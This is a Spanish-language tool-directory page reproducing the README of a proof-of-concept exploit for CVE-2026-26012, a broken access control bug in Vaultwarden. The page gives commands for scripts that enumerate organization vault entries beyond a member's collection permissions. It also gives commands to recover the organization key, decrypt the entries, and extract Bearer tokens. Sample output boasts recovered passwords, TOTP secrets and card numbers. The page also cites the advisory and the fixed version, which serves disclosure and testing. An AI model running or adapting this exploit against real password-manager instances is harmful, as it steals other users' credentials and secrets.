Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-26012 — Prueba de concepto de exploit para CVE-2026-26012, un control de acceso roto en Vaultwarden que permite a cualquier miembro de la organización enumerar y descifrar todos los cifrados, omitiendo los permisos de colección. | Kitploit
Herramientas/GitHubGitHub/dulieno/cve-2026-26012
Análisis de VulnerabilidadesExplotaciónSeguridad WebCriptografíaPruebas de PenetraciónAprendizaje y Educación
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Prueba de concepto de exploit para CVE-2026-26012, un control de acceso roto en Vaultwarden que permite a cualquier miembro de la organización enumerar y descifrar todos los cifrados, omitiendo los permisos de colección.

Ver Repositorio
114hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-26012 — PoC de Enumeración de Cifrados en Vaultwarden

AI Assisted License

Enumeración Completa de Cifrados Ignorando los Permisos de Colección de la Organización

Un exploit de prueba de concepto para CVE-2026-26012, una vulnerabilidad de control de acceso roto en Vaultwarden (<= 1.35.2) que permite a cualquier miembro de la organización recuperar y descifrar todos los cifrados dentro de la organización, independientemente de los permisos a nivel de colección.

🤖 Nota: Este proyecto fue desarrollado con la asistencia de Claude 3 Opus. Se utilizó IA para la generación de código, la estructura arquitectónica y la documentación. Todos los resultados han sido revisados y probados manualmente para garantizar la calidad.

Descripción General

CVECVE-2026-26012
AvisoGHSA-h265-g7rm-h337
AfectadoVaultwarden ≤ 1.35.2
Corregido en1.35.3
CVSS 3.16.5 (Media) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Autorización Incorrecta
CréditoDescubierto por @odgrso, corregido por @BlackDex

La Vulnerabilidad

El endpoint de la API GET /api/ciphers/organization-details es accesible para cualquier miembro de la organización. Internamente, llama a Cipher::find_by_org que devuelve todos los cifrados de la organización y luego los sirve con CipherSyncType::Organization sin aplicar el control de acceso a nivel de colección.

Dado que todos los cifrados de la organización comparten la misma clave de cifrado de la organización (que cada miembro recibe al unirse), los cifrados filtrados pueden ser completamente descifrados en el lado del cliente.

Miembro regular de la organización (restringido a la colección "Pública")
    │
    ├── GET /api/sync                     → 5 cifrados (correcto)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 cifrados (TODOS los cifrados de la organización — ERROR)
                  └──→ 42 cifrados de colecciones restringidas (FILTRADOS)
                        └──→ Descifrables con la clave de la organización que el miembro ya posee

Contenido del Repositorio

.
├── README.md                   # Este archivo
├── poc_cve_2026_26012.py       # Fase 1: Enumeración de cifrados y detección de fugas
├── poc_decrypt.py              # Fase 2: Recuperación de la clave de la organización y descifrado de cifrados
└── LICENSE

Requisitos

  • Python 3.8+
  • cryptography (para el descifrado de la Fase 2)
  • argon2-cffi (solo si la instancia objetivo utiliza KDF Argon2id)
pip install cryptography
pip install argon2-cffi  # opcional

Uso

Fase 1 — Enumerar cifrados filtrados

Detecta si la instancia es vulnerable comparando los cifrados devueltos por el endpoint normal /api/sync frente al endpoint vulnerable /api/ciphers/organization-details.

# Autentíquese mediante el navegador (compatible con SSO + 2FA) y luego pase el token Bearer
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Todas las opciones de autenticación
# Token Bearer (recomendado — funciona con SSO + 2FA)
--token "eyJhbGciOi..."

# Cookie de sesión
--cookie "VAULTWARDEN_SESSION=abc123..."

# Encabezado Cookie sin procesar (múltiples cookies)
--cookie-header "session=abc; token=xyz"

# Inicio de sesión directo con contraseña (SOLO sin SSO ni 2FA)
--email [email protected] --password "MasterPassword"

Cómo extraer su token Bearer:

  1. Inicie sesión en la bóveda web de Vaultwarden (complete SSO + 2FA como de costumbre)
  2. Abra las Herramientas de Desarrollo del navegador (F12) → pestaña Red
  3. Haga clic en cualquier elemento de la bóveda para activar una llamada a la API
  4. Busque una solicitud a /api/... y copie el valor del encabezado Authorization
Opciones adicionales
--no-verify-ssl     # Omitir la verificación SSL (certificados autofirmados)
--show-all          # Mostrar también los cifrados legítimamente accesibles
--max-display 50    # Número máximo de cifrados filtrados a mostrar (predeterminado: 20)
--output results.json  # Exportar todos los resultados a JSON

Fase 2 — Descifrar cifrados filtrados

Recupera la clave de cifrado de la organización y descifra todos los cifrados filtrados de la Fase 1.

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Nota: --master-password es su contraseña maestra de Vaultwarden, utilizada localmente para derivar la cadena de claves de descifrado. Nunca se envía a través de la red. El --token gestiona la autenticación de la API.

Solución de problemas: Si el descifrado de la clave falla, agregue --debug para ver los valores intermedios en cada paso. El script prueba automáticamente 5 estrategias (HKDF moderno, HMAC heredado, clave sin procesar y variantes de omisión de HMAC) para manejar diferentes antigüedades de cuentas y configuraciones.

Alternativa: proporcionar la clave de la organización directamente

Si ya tiene la clave de la organización de 64 bytes (128 caracteres hexadecimales):

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Ejemplo de Salida

[*] === Cadena de Recuperación de Claves ===

[1/6] Obteniendo parámetros KDF...
       KDF: PBKDF2-SHA256, iteraciones: 600000
[2/6] Derivando clave maestra...
[3/6] Estirando clave maestra (HKDF-Expand)...
[4/6] Obteniendo claves cifradas de /api/sync...
       Organización: ACME Corp
[5/6] Descifrando clave simétrica del usuario...
[6/6] Descifrando clave privada RSA → Clave de la organización...

[+] ¡Clave de la organización recuperada con éxito!

[*] Descifrando 42 cifrado(s)...

============================================================
  RESULTADOS DEL DESCIFRADO
============================================================
  Total:      42
  Descifrados: 42
  Errores:     0

  RESUMEN DEL IMPACTO
  Contraseñas recuperadas:      35
  Secretos TOTP recuperados:    12
  Números de tarjetas recuperados: 3
============================================================

Cómo Funciona

Cadena de Derivación de Claves

Cada miembro de la organización ya posee la clave simétrica de la organización, cifrada con su clave pública RSA. La cadena de descifrado es:

Contraseña Maestra + Correo Electrónico
    │  PBKDF2-SHA256 o Argon2id
    ▼
Clave Maestra (32 bytes)
    │  HKDF-Expand-SHA256
    ▼
Clave Estirada: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (descifra profile.key)
    ▼
Clave Simétrica del Usuario: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (descifra profile.privateKey)
    ▼
Clave Privada RSA (PKCS#8 DER de 2048 bits)
    │  RSA-OAEP-SHA1 (descifra profile.organizations[].key)
    ▼
Clave de la Organización: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Datos de cifrado descifrados

Por Qué la ACL de Colecciones No Protege los Datos

Descargar herramienta